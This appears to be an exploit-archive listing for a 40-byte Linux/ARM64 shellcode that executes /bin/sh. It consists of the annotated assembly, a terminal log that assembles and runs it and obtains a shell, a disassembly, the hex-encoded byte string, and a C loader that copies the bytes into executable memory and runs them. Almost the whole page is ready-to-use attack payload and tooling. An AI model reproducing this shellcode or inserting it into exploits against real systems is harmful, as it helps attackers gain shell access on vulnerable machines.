Linux/arm64 execve("/bin/sh", null, null) shellcode (40 bytes) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-07-01 | Type : shellcode | Platform : arm

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[+] Code ...

/*
# Title: Linux/ARM64 - execve("/bin/sh", NULL, NULL) Shellcode (40 Bytes)
# Date: 2019-06-30
# Tested: Ubuntu 16.04 (aarch64)
# Author: Ken Kitahara
# Compilation: gcc -o loader loader.c


ubuntu@ubuntu:~/works$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu Xenial Xerus (development branch)
Release: 16.04
Codename: xenial
ubuntu@ubuntu:~/works$ uname -a
Linux ubuntu 4.2.0-16-generic #19-Ubuntu SMP Thu Oct 8 15:00:45 UTC 2015 aarch64 aarch64 aarch64 GNU/Linux
ubuntu@ubuntu:~/works$ cat execve.s
.section .text
.global _start
_start:
// execve("/bin/sh", NULL, NULL)
mov x1, #0x622F // x1 = 0x000000000000622F ("b/")
movk x1, #0x6E69, lsl #16 // x1 = 0x000000006E69622F ("nib/")
movk x1, #0x732F, lsl #32 // x1 = 0x0000732F6E69622F ("s/nib/")
movk x1, #0x68, lsl #48 // x1 = 0x0068732F6E69622F ("hs/nib/")
str x1, [sp, #-8]! // push x1
mov x1, xzr // args[1] = NULL
mov x2, xzr // args[2] = NULL
add x0, sp, x1 // args[0] = pointer to "/bin/sh\0"
mov x8, #221 // Systemcall Number = 221 (execve)
svc #0x1337 // Invoke Systemcall
ubuntu@ubuntu:~/works$ as -o execve.o execve.s && ld -o execve execve.o
ubuntu@ubuntu:~/works$ ./execve
$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),107(netdev)
$ exit
ubuntu@ubuntu:~/works$ objdump -d ./execve

./execve: file format elf64-littleaarch64


Disassembly of section .text:

0000000000400078 <_start>:
400078: d28c45e1 mov x1, #0x622f // #25135
40007c: f2adcd21 movk x1, #0x6e69, lsl #16
400080: f2ce65e1 movk x1, #0x732f, lsl #32
400084: f2e00d01 movk x1, #0x68, lsl #48
400088: f81f8fe1 str x1, [sp,#-8]!
40008c: aa1f03e1 mov x1, xzr
400090: aa1f03e2 mov x2, xzr
400094: 8b2163e0 add x0, sp, x1
400098: d2801ba8 mov x8, #0xdd // #221
40009c: d40266e1 svc #0x1337
ubuntu@ubuntu:~/works$ objcopy -O binary execve execve.bin
ubuntu@ubuntu:~/works$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' execve.bin && echo
\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4

*/

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] =
"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2"
"\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b"
"\xa8\x1b\x80\xd2\xe1\x66\x02\xd4";

int main(int argc, char **argv) {
printf("Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x100, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);

if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}

memcpy(ptr, shellcode, sizeof(shellcode));
sc = ptr;

sc();

return 0;
}